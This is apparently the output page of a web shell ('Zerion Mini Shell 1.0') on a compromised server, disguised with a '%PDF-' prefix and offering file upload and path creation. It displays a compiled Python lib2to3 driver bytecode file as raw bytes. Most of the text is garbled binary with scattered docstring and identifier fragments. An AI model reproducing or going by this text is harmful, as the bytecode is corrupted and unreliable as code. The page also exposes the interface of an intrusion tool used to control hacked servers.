%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/lib2to3/pgen2/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/lib2to3/pgen2/__pycache__/driver.cpython-38.pyc

U

qaQ@sdZdZddgZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZmZm
Z
GdddeZd	d
ZdddZddZddZddZedkreeedS)zZParser driver.

This provides a high-level interface to parse a file into a syntax tree.

z#Guido van Rossum <guido@python.org>Driverload_grammarN)grammarparsetokentokenizepgenc@sHeZdZdddZdddZdddZdd	d
ZdddZdd
dZdS)rNcCs&||_|dkrt}||_||_dS)N)rlogging	getLoggerloggerconvert)selfrr
rr0/usr/local/lib/python3.8/lib2to3/pgen2/driver.py__init__s
zDriver.__init__FcCst|j|j}|d}d}d}}}}	}
d}|D]8}|\}}}}	}
|||fkr||f|ksxt||f|f|\}
}||
kr|d|
|7}|
}d}||kr||
||7}|}|tjtjfkr||7}|	\}}|	dr<|d7}d}q<|t
jkr
tj|}|r(|j
dt
j||||||||frT|rN|j
dqd}|	\}}|	dr<|d7}d}q<td||||f|jS)	z4Parse a series of tokens and return the syntax tree.rrN
z%s %r (prefix=%r)zStop.zincomplete input)rZParserrr
ZsetupAssertionErrorrCOMMENTNLendswithrOPZopmaprdebugtok_nameZaddtokenZ
ParseErrorrootnode)rtokensrplinenocolumntypevaluestartendZ	line_textprefixZ	quintupleZs_linenoZs_columnrrrparse_tokens&s`



zDriver.parse_tokenscCst|j}|||Sz*Parse a stream and return the syntax tree.)rgenerate_tokensreadliner%)rstreamrrrrrparse_stream_rawVszDriver.parse_stream_rawcCs|||Sr&)r*)rr)rrrrparse_stream[szDriver.parse_streamc
Cs4tj|d|d}|||W5QRSQRXdS)z(Parse a file and return the syntax tree.r)encodingN)ioopenr+)rfilenamer-rr)rrr
parse_file_szDriver.parse_filecCstt|j}|||S)z*Parse a string and return the syntax tree.)rr'r.StringIOr(r%)rtextrrrrrparse_stringdszDriver.parse_string)NN)F)F)F)NF)F)	__name__
__module____qualname__rr%r*r+r1r4rrrrrs

0


cCs:tj|\}}|dkrd}||dtttjdS)Nz.txtr.z.pickle)ospathsplitextjoinmapstrsysversion_info)gtheadtailrrr_generate_pickle_namejsrDGrammar.txtTFc
Cs|dkrt}|dkr t|n|}|s2t||s|d|t|}|r|d|z||Wqtk
r}z|d|W5d}~XYqXnt	
}|||S)z'Load the grammar (maybe from a pickle).Nz!Generating grammar tables from %szWriting grammar tables to %szWriting failed: %s)r
rrD_newerinfor	Zgenerate_grammardumpOSErrorrGrammarload)rAZgpsaveforcergerrrrqs
 
cCs8tj|sdStj|s dStj|tj|kS)z0Inquire whether file a was written since file b.FT)r9r:existsgetmtime)abrrrrFs
rFcCsFtj|rt|Sttj|}t||}t	}|
||S)aNormally, loads a pickled grammar by doing
        pkgutil.get_data(package, pickled_grammar)
    where *pickled_grammar* is computed from *grammar_source* by adding the
    Python version and using a ``.pickle`` extension.

    However, if *grammar_source* is an extant file, load_grammar(grammar_source)
    is called instead. This facilitates using a packaged grammar file when needed
    but preserves load_grammar's automatic regeneration behavior when possible.

    )r9r:isfilerrDbasenamepkgutilget_datarrJloads)packageZgrammar_sourceZpickled_namedatarNrrrload_packaged_grammars
r[cGsB|stjdd}tjtjtjdd|D]}t|dddq*dS)zMain program, when run as a script: produce grammar pickle files.

    Calls load_grammar for each argument, a path to a grammar text file.
    rNz%(message)s)levelr)formatT)rLrM)r?argvr
basicConfigINFOstdoutr)argsrArrrmainsrc__main__)rENTFN)__doc__
__author____all__r.r9r
rVr?rrrrrr	objectrrDrrFr[rcr5exitintrrrr<module>s(M
	


Zerion Mini Shell 1.0